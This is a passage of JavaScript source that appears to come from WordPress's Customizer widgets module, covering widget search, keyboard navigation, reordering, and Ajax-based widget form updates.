				if ( firstVisible.length ) {
					this.select( firstVisible );
				}
			}

			// Toggle the clear search results button.
			if ( '' !== event.target.value ) {
				this.$clearResults.addClass( 'is-visible' );
			} else if ( '' === event.target.value ) {
				this.$clearResults.removeClass( 'is-visible' );
			}

			// Set a CSS class on the search container when there are no search results.
			if ( ! this.searchMatchesCount ) {
				this.$el.addClass( 'no-widgets-found' );
			} else {
				this.$el.removeClass( 'no-widgets-found' );
			}
		}, 500 ),

		/**
		 * Updates the count of the available widgets that have the `search_matched` attribute.
 		 */
		updateSearchMatchesCount: function() {
			this.searchMatchesCount = this.collection.where({ search_matched: true }).length;
		},

		/**
		 * Sends a message to the aria-live region to announce how many search results.
		 */
		announceSearchMatches: function() {
			var message = l10n.widgetsFound.replace( '%d', this.searchMatchesCount ) ;

			if ( ! this.searchMatchesCount ) {
				message = l10n.noWidgetsFound;
			}

			wp.a11y.speak( message );
		},

		/**
		 * Changes visibility of available widgets.
 		 */
		updateList: function() {
			this.collection.each( function( widget ) {
				var widgetTpl = $( '#widget-tpl-' + widget.id );
				widgetTpl.toggle( widget.get( 'search_matched' ) && ! widget.get( 'is_disabled' ) );
				if ( widget.get( 'is_disabled' ) && widgetTpl.is( this.selected ) ) {
					this.selected = null;
				}
			} );
		},

		/**
		 * Highlights a widget.
 		 */
		select: function( widgetTpl ) {
			this.selected = $( widgetTpl );
			this.selected.siblings( '.widget-tpl' ).removeClass( 'selected' );
			this.selected.addClass( 'selected' );
		},

		/**
		 * Highlights a widget on focus.
		 */
		focus: function( event ) {
			this.select( $( event.currentTarget ) );
		},

		/**
		 * Handles submit for keypress and click on widget.
		 */
		_submit: function( event ) {
			// Only proceed with keypress if it is Enter or Spacebar.
			if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
				return;
			}

			this.submit( $( event.currentTarget ) );
		},

		/**
		 * Adds a selected widget to the sidebar.
 		 */
		submit: function( widgetTpl ) {
			var widgetId, widget, widgetFormControl;

			if ( ! widgetTpl ) {
				widgetTpl = this.selected;
			}

			if ( ! widgetTpl || ! this.currentSidebarControl ) {
				return;
			}

			this.select( widgetTpl );

			widgetId = $( this.selected ).data( 'widget-id' );
			widget = this.collection.findWhere( { id: widgetId } );
			if ( ! widget ) {
				return;
			}

			widgetFormControl = this.currentSidebarControl.addWidget( widget.get( 'id_base' ) );
			if ( widgetFormControl ) {
				widgetFormControl.focus();
			}

			this.close();
		},

		/**
		 * Opens the panel.
		 */
		open: function( sidebarControl ) {
			this.currentSidebarControl = sidebarControl;

			// Wide widget controls appear over the preview, and so they need to be collapsed when the panel opens.
			_( this.currentSidebarControl.getWidgetFormControls() ).each( function( control ) {
				if ( control.params.is_wide ) {
					control.collapseForm();
				}
			} );

			if ( api.section.has( 'publish_settings' ) ) {
				api.section( 'publish_settings' ).collapse();
			}

			$( 'body' ).addClass( 'adding-widget' );

			this.$el.find( '.selected' ).removeClass( 'selected' );

			// Reset search.
			this.collection.doSearch( '' );

			if ( ! api.settings.browser.mobile ) {
				this.$search.trigger( 'focus' );
			}
		},

		/**
		 * Closes the panel.
		 */
		close: function( options ) {
			options = options || {};

			if ( options.returnFocus && this.currentSidebarControl ) {
				this.currentSidebarControl.container.find( '.add-new-widget' ).focus();
			}

			this.currentSidebarControl = null;
			this.selected = null;

			$( 'body' ).removeClass( 'adding-widget' );

			this.$search.val( '' ).trigger( 'input' );
		},

		/**
		 * Adds keyboard accessiblity to the panel.
		 */
		keyboardAccessible: function( event ) {
			var isEnter = ( event.which === 13 ),
				isEsc = ( event.which === 27 ),
				isDown = ( event.which === 40 ),
				isUp = ( event.which === 38 ),
				isTab = ( event.which === 9 ),
				isShift = ( event.shiftKey ),
				selected = null,
				firstVisible = this.$el.find( '> .widget-tpl:visible:first' ),
				lastVisible = this.$el.find( '> .widget-tpl:visible:last' ),
				isSearchFocused = $( event.target ).is( this.$search ),
				isLastWidgetFocused = $( event.target ).is( '.widget-tpl:visible:last' );

			if ( isDown || isUp ) {
				if ( isDown ) {
					if ( isSearchFocused ) {
						selected = firstVisible;
					} else if ( this.selected && this.selected.nextAll( '.widget-tpl:visible' ).length !== 0 ) {
						selected = this.selected.nextAll( '.widget-tpl:visible:first' );
					}
				} else if ( isUp ) {
					if ( isSearchFocused ) {
						selected = lastVisible;
					} else if ( this.selected && this.selected.prevAll( '.widget-tpl:visible' ).length !== 0 ) {
						selected = this.selected.prevAll( '.widget-tpl:visible:first' );
					}
				}

				this.select( selected );

				if ( selected ) {
					selected.trigger( 'focus' );
				} else {
					this.$search.trigger( 'focus' );
				}

				return;
			}

			// If enter pressed but nothing entered, don't do anything.
			if ( isEnter && ! this.$search.val() ) {
				return;
			}

			if ( isEnter ) {
				this.submit();
			} else if ( isEsc ) {
				this.close( { returnFocus: true } );
			}

			if ( this.currentSidebarControl && isTab && ( isShift && isSearchFocused || ! isShift && isLastWidgetFocused ) ) {
				this.currentSidebarControl.container.find( '.add-new-widget' ).focus();
				event.preventDefault();
			}
		}
	});

	/**
	 * Handlers for the widget-synced event, organized by widget ID base.
	 * Other widgets may provide their own update handlers by adding
	 * listeners for the widget-synced event.
	 *
	 * @alias    wp.customize.Widgets.formSyncHandlers
	 */
	api.Widgets.formSyncHandlers = {

		/**
		 * @param {jQuery.Event} e
		 * @param {jQuery} widget
		 * @param {string} newForm
		 */
		rss: function( e, widget, newForm ) {
			var oldWidgetError = widget.find( '.widget-error:first' ),
				newWidgetError = $( '<div>' + newForm + '</div>' ).find( '.widget-error:first' );

			if ( oldWidgetError.length && newWidgetError.length ) {
				oldWidgetError.replaceWith( newWidgetError );
			} else if ( oldWidgetError.length ) {
				oldWidgetError.remove();
			} else if ( newWidgetError.length ) {
				widget.find( '.widget-content:first' ).prepend( newWidgetError );
			}
		}
	};

	api.Widgets.WidgetControl = api.Control.extend(/** @lends wp.customize.Widgets.WidgetControl.prototype */{
		defaultExpandedArguments: {
			duration: 'fast',
			completeCallback: $.noop
		},

		/**
		 * wp.customize.Widgets.WidgetControl
		 *
		 * Customizer control for widgets.
		 * Note that 'widget_form' must match the WP_Widget_Form_Customize_Control::$type
		 *
		 * @since 4.1.0
		 *
		 * @constructs wp.customize.Widgets.WidgetControl
		 * @augments   wp.customize.Control
		 */
		initialize: function( id, options ) {
			var control = this;

			control.widgetControlEmbedded = false;
			control.widgetContentEmbedded = false;
			control.expanded = new api.Value( false );
			control.expandedArgumentsQueue = [];
			control.expanded.bind( function( expanded ) {
				var args = control.expandedArgumentsQueue.shift();
				args = $.extend( {}, control.defaultExpandedArguments, args );
				control.onChangeExpanded( expanded, args );
			});
			control.altNotice = true;

			api.Control.prototype.initialize.call( control, id, options );
		},

		/**
		 * Set up the control.
		 *
		 * @since 3.9.0
		 */
		ready: function() {
			var control = this;

			/*
			 * Embed a placeholder once the section is expanded. The full widget
			 * form content will be embedded once the control itself is expanded,
			 * and at this point the widget-added event will be triggered.
			 */
			if ( ! control.section() ) {
				control.embedWidgetControl();
			} else {
				api.section( control.section(), function( section ) {
					var onExpanded = function( isExpanded ) {
						if ( isExpanded ) {
							control.embedWidgetControl();
							section.expanded.unbind( onExpanded );
						}
					};
					if ( section.expanded() ) {
						onExpanded( true );
					} else {
						section.expanded.bind( onExpanded );
					}
				} );
			}
		},

		/**
		 * Embed the .widget element inside the li container.
		 *
		 * @since 4.4.0
		 */
		embedWidgetControl: function() {
			var control = this, widgetControl;

			if ( control.widgetControlEmbedded ) {
				return;
			}
			control.widgetControlEmbedded = true;

			widgetControl = $( control.params.widget_control );
			control.container.append( widgetControl );

			control._setupModel();
			control._setupWideWidget();
			control._setupControlToggle();

			control._setupWidgetTitle();
			control._setupReorderUI();
			control._setupHighlightEffects();
			control._setupUpdateUI();
			control._setupRemoveUI();
		},

		/**
		 * Embed the actual widget form inside of .widget-content and finally trigger the widget-added event.
		 *
		 * @since 4.4.0
		 */
		embedWidgetContent: function() {
			var control = this, widgetContent;

			control.embedWidgetControl();
			if ( control.widgetContentEmbedded ) {
				return;
			}
			control.widgetContentEmbedded = true;

			// Update the notification container element now that the widget content has been embedded.
			control.notifications.container = control.getNotificationsContainerElement();
			control.notifications.render();

			widgetContent = $( control.params.widget_content );
			control.container.find( '.widget-content:first' ).append( widgetContent );

			/*
			 * Trigger widget-added event so that plugins can attach any event
			 * listeners and dynamic UI elements.
			 */
			$( document ).trigger( 'widget-added', [ control.container.find( '.widget:first' ) ] );

		},

		/**
		 * Handle changes to the setting
		 */
		_setupModel: function() {
			var self = this, rememberSavedWidgetId;

			// Remember saved widgets so we know which to trash (move to inactive widgets sidebar).
			rememberSavedWidgetId = function() {
				api.Widgets.savedWidgetIds[self.params.widget_id] = true;
			};
			api.bind( 'ready', rememberSavedWidgetId );
			api.bind( 'saved', rememberSavedWidgetId );

			this._updateCount = 0;
			this.isWidgetUpdating = false;
			this.liveUpdateMode = true;

			// Update widget whenever model changes.
			this.setting.bind( function( to, from ) {
				if ( ! _( from ).isEqual( to ) && ! self.isWidgetUpdating ) {
					self.updateWidget( { instance: to } );
				}
			} );
		},

		/**
		 * Add special behaviors for wide widget controls
		 */
		_setupWideWidget: function() {
			var self = this, $widgetInside, $widgetForm, $customizeSidebar,
				$themeControlsContainer, positionWidget;

			if ( ! this.params.is_wide || $( window ).width() <= 640 /* max-width breakpoint in customize-controls.css */ ) {
				return;
			}

			$widgetInside = this.container.find( '.widget-inside' );
			$widgetForm = $widgetInside.find( '> .form' );
			$customizeSidebar = $( '.wp-full-overlay-sidebar-content:first' );
			this.container.addClass( 'wide-widget-control' );

			this.container.find( '.form:first' ).css( {
				'max-width': this.params.width,
				'min-height': this.params.height
			} );

			/**
			 * Keep the widget-inside positioned so the top of fixed-positioned
			 * element is at the same top position as the widget-top. When the
			 * widget-top is scrolled out of view, keep the widget-top in view;
			 * likewise, don't allow the widget to drop off the bottom of the window.
			 * If a widget is too tall to fit in the window, don't let the height
			 * exceed the window height so that the contents of the widget control
			 * will become scrollable (overflow:auto).
			 */
			positionWidget = function() {
				var offsetTop = self.container.offset().top,
					windowHeight = $( window ).height(),
					formHeight = $widgetForm.outerHeight(),
					top;
				$widgetInside.css( 'max-height', windowHeight );
				top = Math.max(
					0, // Prevent top from going off screen.
					Math.min(
						Math.max( offsetTop, 0 ), // Distance widget in panel is from top of screen.
						windowHeight - formHeight // Flush up against bottom of screen.
					)
				);
				$widgetInside.css( 'top', top );
			};

			$themeControlsContainer = $( '#customize-theme-controls' );
			this.container.on( 'expand', function() {
				positionWidget();
				$customizeSidebar.on( 'scroll', positionWidget );
				$( window ).on( 'resize', positionWidget );
				$themeControlsContainer.on( 'expanded collapsed', positionWidget );
			} );
			this.container.on( 'collapsed', function() {
				$customizeSidebar.off( 'scroll', positionWidget );
				$( window ).off( 'resize', positionWidget );
				$themeControlsContainer.off( 'expanded collapsed', positionWidget );
			} );

			// Reposition whenever a sidebar's widgets are changed.
			api.each( function( setting ) {
				if ( 0 === setting.id.indexOf( 'sidebars_widgets[' ) ) {
					setting.bind( function() {
						if ( self.container.hasClass( 'expanded' ) ) {
							positionWidget();
						}
					} );
				}
			} );
		},

		/**
		 * Show/hide the control when clicking on the form title, when clicking
		 * the close button
		 */
		_setupControlToggle: function() {
			var self = this, $closeBtn;

			this.container.find( '.widget-top' ).on( 'click', function( e ) {
				e.preventDefault();
				var sidebarWidgetsControl = self.getSidebarWidgetsControl();
				if ( sidebarWidgetsControl.isReordering ) {
					return;
				}
				self.expanded( ! self.expanded() );
			} );

			$closeBtn = this.container.find( '.widget-control-close' );
			$closeBtn.on( 'click', function() {
				self.collapse();
				self.container.find( '.widget-top .widget-action:first' ).focus(); // Keyboard accessibility.
			} );
		},

		/**
		 * Update the title of the form if a title field is entered
		 */
		_setupWidgetTitle: function() {
			var self = this, updateTitle;

			updateTitle = function() {
				var title = self.setting().title,
					inWidgetTitle = self.container.find( '.in-widget-title' );

				if ( title ) {
					inWidgetTitle.text( ': ' + title );
				} else {
					inWidgetTitle.text( '' );
				}
			};
			this.setting.bind( updateTitle );
			updateTitle();
		},

		/**
		 * Set up the widget-reorder-nav
		 */
		_setupReorderUI: function() {
			var self = this, selectSidebarItem, $moveWidgetArea,
				$reorderNav, updateAvailableSidebars, template;

			/**
			 * select the provided sidebar list item in the move widget area
			 *
			 * @param {jQuery} li
			 */
			selectSidebarItem = function( li ) {
				li.siblings( '.selected' ).removeClass( 'selected' );
				li.addClass( 'selected' );
				var isSelfSidebar = ( li.data( 'id' ) === self.params.sidebar_id );
				self.container.find( '.move-widget-btn' ).prop( 'disabled', isSelfSidebar );
			};

			/**
			 * Add the widget reordering elements to the widget control
			 */
			this.container.find( '.widget-title-action' ).after( $( api.Widgets.data.tpl.widgetReorderNav ) );


			template = _.template( api.Widgets.data.tpl.moveWidgetArea );
			$moveWidgetArea = $( template( {
					sidebars: _( api.Widgets.registeredSidebars.toArray() ).pluck( 'attributes' )
				} )
			);
			this.container.find( '.widget-top' ).after( $moveWidgetArea );

			/**
			 * Update available sidebars when their rendered state changes
			 */
			updateAvailableSidebars = function() {
				var $sidebarItems = $moveWidgetArea.find( 'li' ), selfSidebarItem,
					renderedSidebarCount = 0;

				selfSidebarItem = $sidebarItems.filter( function(){
					return $( this ).data( 'id' ) === self.params.sidebar_id;
				} );

				$sidebarItems.each( function() {
					var li = $( this ),
						sidebarId, sidebar, sidebarIsRendered;

					sidebarId = li.data( 'id' );
					sidebar = api.Widgets.registeredSidebars.get( sidebarId );
					sidebarIsRendered = sidebar.get( 'is_rendered' );

					li.toggle( sidebarIsRendered );

					if ( sidebarIsRendered ) {
						renderedSidebarCount += 1;
					}

					if ( li.hasClass( 'selected' ) && ! sidebarIsRendered ) {
						selectSidebarItem( selfSidebarItem );
					}
				} );

				if ( renderedSidebarCount > 1 ) {
					self.container.find( '.move-widget' ).show();
				} else {
					self.container.find( '.move-widget' ).hide();
				}
			};

			updateAvailableSidebars();
			api.Widgets.registeredSidebars.on( 'change:is_rendered', updateAvailableSidebars );

			/**
			 * Handle clicks for up/down/move on the reorder nav
			 */
			$reorderNav = this.container.find( '.widget-reorder-nav' );
			$reorderNav.find( '.move-widget, .move-widget-down, .move-widget-up' ).each( function() {
				$( this ).prepend( self.container.find( '.widget-title' ).text() + ': ' );
			} ).on( 'click keypress', function( event ) {
				if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
					return;
				}
				$( this ).trigger( 'focus' );

				if ( $( this ).is( '.move-widget' ) ) {
					self.toggleWidgetMoveArea();
				} else {
					var isMoveDown = $( this ).is( '.move-widget-down' ),
						isMoveUp = $( this ).is( '.move-widget-up' ),
						i = self.getWidgetSidebarPosition();

					if ( ( isMoveUp && i === 0 ) || ( isMoveDown && i === self.getSidebarWidgetsControl().setting().length - 1 ) ) {
						return;
					}

					if ( isMoveUp ) {
						self.moveUp();
						wp.a11y.speak( l10n.widgetMovedUp );
					} else {
						self.moveDown();
						wp.a11y.speak( l10n.widgetMovedDown );
					}

					$( this ).trigger( 'focus' ); // Re-focus after the container was moved.
				}
			} );

			/**
			 * Handle selecting a sidebar to move to
			 */
			this.container.find( '.widget-area-select' ).on( 'click keypress', 'li', function( event ) {
				if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
					return;
				}
				event.preventDefault();
				selectSidebarItem( $( this ) );
			} );

			/**
			 * Move widget to another sidebar
			 */
			this.container.find( '.move-widget-btn' ).click( function() {
				self.getSidebarWidgetsControl().toggleReordering( false );

				var oldSidebarId = self.params.sidebar_id,
					newSidebarId = self.container.find( '.widget-area-select li.selected' ).data( 'id' ),
					oldSidebarWidgetsSetting, newSidebarWidgetsSetting,
					oldSidebarWidgetIds, newSidebarWidgetIds, i;

				oldSidebarWidgetsSetting = api( 'sidebars_widgets[' + oldSidebarId + ']' );
				newSidebarWidgetsSetting = api( 'sidebars_widgets[' + newSidebarId + ']' );
				oldSidebarWidgetIds = Array.prototype.slice.call( oldSidebarWidgetsSetting() );
				newSidebarWidgetIds = Array.prototype.slice.call( newSidebarWidgetsSetting() );

				i = self.getWidgetSidebarPosition();
				oldSidebarWidgetIds.splice( i, 1 );
				newSidebarWidgetIds.push( self.params.widget_id );

				oldSidebarWidgetsSetting( oldSidebarWidgetIds );
				newSidebarWidgetsSetting( newSidebarWidgetIds );

				self.focus();
			} );
		},

		/**
		 * Highlight widgets in preview when interacted with in the Customizer
		 */
		_setupHighlightEffects: function() {
			var self = this;

			// Highlight whenever hovering or clicking over the form.
			this.container.on( 'mouseenter click', function() {
				self.setting.previewer.send( 'highlight-widget', self.params.widget_id );
			} );

			// Highlight when the setting is updated.
			this.setting.bind( function() {
				self.setting.previewer.send( 'highlight-widget', self.params.widget_id );
			} );
		},

		/**
		 * Set up event handlers for widget updating
		 */
		_setupUpdateUI: function() {
			var self = this, $widgetRoot, $widgetContent,
				$saveBtn, updateWidgetDebounced, formSyncHandler;

			$widgetRoot = this.container.find( '.widget:first' );
			$widgetContent = $widgetRoot.find( '.widget-content:first' );

			// Configure update button.
			$saveBtn = this.container.find( '.widget-control-save' );
			$saveBtn.val( l10n.saveBtnLabel );
			$saveBtn.attr( 'title', l10n.saveBtnTooltip );
			$saveBtn.removeClass( 'button-primary' );
			$saveBtn.on( 'click', function( e ) {
				e.preventDefault();
				self.updateWidget( { disable_form: true } ); // @todo disable_form is unused?
			} );

			updateWidgetDebounced = _.debounce( function() {
				self.updateWidget();
			}, 250 );

			// Trigger widget form update when hitting Enter within an input.
			$widgetContent.on( 'keydown', 'input', function( e ) {
				if ( 13 === e.which ) { // Enter.
					e.preventDefault();
					self.updateWidget( { ignoreActiveElement: true } );
				}
			} );

			// Handle widgets that support live previews.
			$widgetContent.on( 'change input propertychange', ':input', function( e ) {
				if ( ! self.liveUpdateMode ) {
					return;
				}
				if ( e.type === 'change' || ( this.checkValidity && this.checkValidity() ) ) {
					updateWidgetDebounced();
				}
			} );

			// Remove loading indicators when the setting is saved and the preview updates.
			this.setting.previewer.channel.bind( 'synced', function() {
				self.container.removeClass( 'previewer-loading' );
			} );

			api.previewer.bind( 'widget-updated', function( updatedWidgetId ) {
				if ( updatedWidgetId === self.params.widget_id ) {
					self.container.removeClass( 'previewer-loading' );
				}
			} );

			formSyncHandler = api.Widgets.formSyncHandlers[ this.params.widget_id_base ];
			if ( formSyncHandler ) {
				$( document ).on( 'widget-synced', function( e, widget ) {
					if ( $widgetRoot.is( widget ) ) {
						formSyncHandler.apply( document, arguments );
					}
				} );
			}
		},

		/**
		 * Update widget control to indicate whether it is currently rendered.
		 *
		 * Overrides api.Control.toggle()
		 *
		 * @since 4.1.0
		 *
		 * @param {boolean}   active
		 * @param {Object}    args
		 * @param {function}  args.completeCallback
		 */
		onChangeActive: function ( active, args ) {
			// Note: there is a second 'args' parameter being passed, merged on top of this.defaultActiveArguments.
			this.container.toggleClass( 'widget-rendered', active );
			if ( args.completeCallback ) {
				args.completeCallback();
			}
		},

		/**
		 * Set up event handlers for widget removal
		 */
		_setupRemoveUI: function() {
			var self = this, $removeBtn, replaceDeleteWithRemove;

			// Configure remove button.
			$removeBtn = this.container.find( '.widget-control-remove' );
			$removeBtn.on( 'click', function() {
				// Find an adjacent element to add focus to when this widget goes away.
				var $adjacentFocusTarget;
				if ( self.container.next().is( '.customize-control-widget_form' ) ) {
					$adjacentFocusTarget = self.container.next().find( '.widget-action:first' );
				} else if ( self.container.prev().is( '.customize-control-widget_form' ) ) {
					$adjacentFocusTarget = self.container.prev().find( '.widget-action:first' );
				} else {
					$adjacentFocusTarget = self.container.next( '.customize-control-sidebar_widgets' ).find( '.add-new-widget:first' );
				}

				self.container.slideUp( function() {
					var sidebarsWidgetsControl = api.Widgets.getSidebarWidgetControlContainingWidget( self.params.widget_id ),
						sidebarWidgetIds, i;

					if ( ! sidebarsWidgetsControl ) {
						return;
					}

					sidebarWidgetIds = sidebarsWidgetsControl.setting().slice();
					i = _.indexOf( sidebarWidgetIds, self.params.widget_id );
					if ( -1 === i ) {
						return;
					}

					sidebarWidgetIds.splice( i, 1 );
					sidebarsWidgetsControl.setting( sidebarWidgetIds );

					$adjacentFocusTarget.focus(); // Keyboard accessibility.
				} );
			} );

			replaceDeleteWithRemove = function() {
				$removeBtn.text( l10n.removeBtnLabel ); // wp_widget_control() outputs the button as "Delete".
				$removeBtn.attr( 'title', l10n.removeBtnTooltip );
			};

			if ( this.params.is_new ) {
				api.bind( 'saved', replaceDeleteWithRemove );
			} else {
				replaceDeleteWithRemove();
			}
		},

		/**
		 * Find all inputs in a widget container that should be considered when
		 * comparing the loaded form with the sanitized form, whose fields will
		 * be aligned to copy the sanitized over. The elements returned by this
		 * are passed into this._getInputsSignature(), and they are iterated
		 * over when copying sanitized values over to the form loaded.
		 *
		 * @param {jQuery} container element in which to look for inputs
		 * @return {jQuery} inputs
		 * @private
		 */
		_getInputs: function( container ) {
			return $( container ).find( ':input[name]' );
		},

		/**
		 * Iterate over supplied inputs and create a signature string for all of them together.
		 * This string can be used to compare whether or not the form has all of the same fields.
		 *
		 * @param {jQuery} inputs
		 * @return {string}
		 * @private
		 */
		_getInputsSignature: function( inputs ) {
			var inputsSignatures = _( inputs ).map( function( input ) {
				var $input = $( input ), signatureParts;

				if ( $input.is( ':checkbox, :radio' ) ) {
					signatureParts = [ $input.attr( 'id' ), $input.attr( 'name' ), $input.prop( 'value' ) ];
				} else {
					signatureParts = [ $input.attr( 'id' ), $input.attr( 'name' ) ];
				}

				return signatureParts.join( ',' );
			} );

			return inputsSignatures.join( ';' );
		},

		/**
		 * Get the state for an input depending on its type.
		 *
		 * @param {jQuery|Element} input
		 * @return {string|boolean|Array|*}
		 * @private
		 */
		_getInputState: function( input ) {
			input = $( input );
			if ( input.is( ':radio, :checkbox' ) ) {
				return input.prop( 'checked' );
			} else if ( input.is( 'select[multiple]' ) ) {
				return input.find( 'option:selected' ).map( function () {
					return $( this ).val();
				} ).get();
			} else {
				return input.val();
			}
		},

		/**
		 * Update an input's state based on its type.
		 *
		 * @param {jQuery|Element} input
		 * @param {string|boolean|Array|*} state
		 * @private
		 */
		_setInputState: function ( input, state ) {
			input = $( input );
			if ( input.is( ':radio, :checkbox' ) ) {
				input.prop( 'checked', state );
			} else if ( input.is( 'select[multiple]' ) ) {
				if ( ! Array.isArray( state ) ) {
					state = [];
				} else {
					// Make sure all state items are strings since the DOM value is a string.
					state = _.map( state, function ( value ) {
						return String( value );
					} );
				}
				input.find( 'option' ).each( function () {
					$( this ).prop( 'selected', -1 !== _.indexOf( state, String( this.value ) ) );
				} );
			} else {
				input.val( state );
			}
		},

		/***********************************************************************
		 * Begin public API methods
		 **********************************************************************/

		/**
		 * @return {wp.customize.controlConstructor.sidebar_widgets[]}
		 */
		getSidebarWidgetsControl: function() {
			var settingId, sidebarWidgetsControl;

			settingId = 'sidebars_widgets[' + this.params.sidebar_id + ']';
			sidebarWidgetsControl = api.control( settingId );

			if ( ! sidebarWidgetsControl ) {
				return;
			}

			return sidebarWidgetsControl;
		},

		/**
		 * Submit the widget form via Ajax and get back the updated instance,
		 * along with the new widget control form to render.
		 *
		 * @param {Object} [args]
		 * @param {Object|null} [args.instance=null]  When the model changes, the instance is sent here; otherwise, the inputs from the form are used
		 * @param {Function|null} [args.complete=null]  Function which is called when the request finishes. Context is bound to the control. First argument is any error. Following arguments are for success.
		 * @param {boolean} [args.ignoreActiveElement=false] Whether or not updating a field will be deferred if focus is still on the element.
		 */
		updateWidget: function( args ) {
			var self = this, instanceOverride, completeCallback, $widgetRoot, $widgetContent,
				updateNumber, params, data, $inputs, processing, jqxhr, isChanged;

			// The updateWidget logic requires that the form fields to be fully present.
			self.embedWidgetContent();

			args = $.extend( {
				instance: null,
				complete: null,
				ignoreActiveElement: false
			}, args );

			instanceOverride = args.instance;
			completeCallback = args.complete;

			this._updateCount += 1;
			updateNumber = this._updateCount;

			$widgetRoot = this.container.find( '.widget:first' );
			$widgetContent = $widgetRoot.find( '.widget-content:first' );

			// Remove a previous error message.
			$widgetContent.find( '.widget-error' ).remove();

			this.container.addClass( 'widget-form-loading' );
			this.container.addClass( 'previewer-loading' );
			processing = api.state( 'processing' );
			processing( processing() + 1 );

			if ( ! this.liveUpdateMode ) {
				this.container.addClass( 'widget-form-disabled' );
			}

			params = {};
			params.action = 'update-widget';
			params.wp_customize = 'on';
			params.nonce = api.settings.nonce['update-widget'];
			params.customize_theme = api.settings.theme.stylesheet;
			params.customized = wp.customize.previewer.query().customized;

			data = $.param( params );
			$inputs = this._getInputs( $widgetContent );

			/*
			 * Store the value we're submitting in data so that when the response comes back,
			 * we know if it got sanitized; if there is no difference in the sanitized value,
			 * then we do not need to touch the UI and mess up the user's ongoing editing.
			 */
			$inputs.each( function() {
				$( this ).data( 'state' + updateNumber, self._getInputState( this ) );
			} );

			if ( instanceOverride ) {
				data += '&' + $.param( { 'sanitized_widget_setting': JSON.stringify( instanceOverride ) } );
			} else {
				data += '&' + $inputs.serialize();
			}
			data += '&' + $widgetContent.find( '~ :input' ).serialize();

			if ( this._previousUpdateRequest ) {
				this._previousUpdateRequest.abort();
			}
			jqxhr = $.post( wp.ajax.settings.url, data );
			this._previousUpdateRequest = jqxhr;

			jqxhr.done( function( r ) {
				var message, sanitizedForm,	$sanitizedInputs, hasSameInputsInResponse,
					isLiveUpdateAborted = false;

				// Check if the user is logged out.
				if ( '0' === r ) {
					api.previewer.preview.iframe.hide();
					api.previewer.login().done( function() {
						self.updateWidget( args );
						api.previewer.preview.iframe.show();
					} );
					return;
				}

				// Check for cheaters.
				if ( '-1' === r ) {
					api.previewer.cheatin();
					return;
				}

				if ( r.success ) {
					sanitizedForm = $( '<div>' + r.data.form + '</div>' );
					$sanitizedInputs = self._getInputs( sanitizedForm );
					hasSameInputsInResponse = self._getInputsSignature( $inputs ) === self._getInputsSignature( $sanitizedInputs );

					// Restore live update mode if sanitized fields are now aligned with the existing fields.
					if ( hasSameInputsInResponse && ! self.liveUpdateMode ) {
						self.liveUpdateMode = true;
						self.container.removeClass( 'widget-form-disabled' );
						self.container.find( 'input[name="savewidget"]' ).hide();
					}

					// Sync sanitized field states to existing fields if they are aligned.
					if ( hasSameInputsInResponse && self.liveUpdateMode ) {
						$inputs.each( function( i ) {
							var $input = $( this ),
								$sanitizedInput = $( $sanitizedInputs[i] ),
								submittedState, sanitizedState,	canUpdateState;

							submittedState = $input.data( 'state' + updateNumber );
							sanitizedState = self._getInputState( $sanitizedInput );
							$input.data( 'sanitized', sanitizedState );

							canUpdateState = ( ! _.isEqual( submittedState, sanitizedState ) && ( args.ignoreActiveElement || ! $input.is( document.activeElement ) ) );
							if ( canUpdateState ) {
								self._setInputState( $input, sanitizedState );
							}
						} );

						$( document ).trigger( 'widget-synced', [ $widgetRoot, r.data.form ] );

					// Otherwise, if sanitized fields are not aligned with existing fields, disable live update mode if enabled.
					} else if ( self.liveUpdateMode ) {
						self.liveUpdateMode = false;
						self.container.find( 'input[name="savewidget"]' ).show();
						isLiveUpdateAborted = true;

					// Otherwise, replace existing form with the sanitized form.
					} else {
						$widgetContent.html( r.data.form );

						self.container.removeClass( 'widget-form-disabled' );

						$( document ).trigger( 'widget-updated', [ $widgetRoot ] );
					}

					/**
					 * If the old instance is identical to the new one, there is nothing new
					 * needing to be rendered, and so we can preempt the event for the
					 * preview finishing loading.
					 */
					isChanged = ! isLiveUpdateAborted && ! _( self.setting() ).isEqual( r.data.instance );
					if ( isChanged ) {
						self.isWidgetUpdating = true; // Suppress triggering another updateWidget.
						self.setting( r.data.instance );
						self.isWidgetUpdating = false;
					} else {
						// No change was made, so stop the spinner now instead of when the preview would updates.
						self.container.removeClass( 'previewer-loading' );
					}

					if ( completeCallback ) {
						completeCallback.call( self, null, { noChange: ! isChanged, ajaxFinished: true } );
					}
				} else {
					// General error message.
					message = l10n.error;

					if ( r.data && r.data.message ) {
						message = r.data.message;
					}

					if ( completeCallback ) {
						completeCallback.call( self, message );
					} else {
						$widgetContent.prepend( '<p class="widget-error"><strong>' + message + '</strong></p>' );
					}
				}
			} );

			jqxhr.fail( function( jqXHR, textStatus ) {
				if ( completeCallback ) {
					completeCallback.call( self, textStatus );
				}
			} );

			jqxhr.always( function() {
				self.container.removeClass( 'widget-form-loading' );

				$inputs.each( function() {
					$( this ).removeData( 'state' + updateNumber );
				} );

				processing( processing() - 1 );
			} );
		},

		/**
		 * Expand the accordion section containing a control
		 */
		expandControlSection: function() {
			api.Control.prototype.expand.call( this );
		},

		/**
		 * @since 4.1.0
		 *
		 * @param {Boolean} expanded
		 * @param {Object} [params]
		 * @return {Boolean} False if state already applied.
		 */
		_toggleExpanded: api.Section.prototype._toggleExpanded,

		/**
		 * @since 4.1.0
		 *
		 * @param {Object} [params]
		 * @return {Boolean} False if already expanded.
		 */
		expand: api.Section.prototype.expand,

		/**
		 * Expand the widget form control
		 *
		 * @deprecated 4.1.0 Use this.expand() instead.
		 */
		expandForm: function() {
			this.expand();
		},

		/**
		 * @since 4.1.0
		 *
		 * @param {Object} [params]
		 * @return {Boolean} False if already collapsed.
		 */
		collapse: api.Section.prototype.collapse,

		/**
		 * Collapse the widget form control
		 *
		 * @deprecated 4.1.0 Use this.collapse() instead.
		 */
		collapseForm: function() {
			this.collapse();
		},

		/**
		 * Expand or collapse the widget control
		 *
		 * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide )
		 *
		 * @param {boolean|undefined} [showOrHide] If not supplied, will be inverse of current visibility
		 */
		toggleForm: function( showOrHide ) {
			if ( typeof showOrHide === 'undefined' ) {
				showOrHide = ! this.expanded();
			}
			this.expanded( showOrHide );
		},

		/**
		 * Respond to change in the expanded state.
		 *
		 * @param {boolean} expanded
		 * @param {Object} args  merged on top of this.defaultActiveArguments
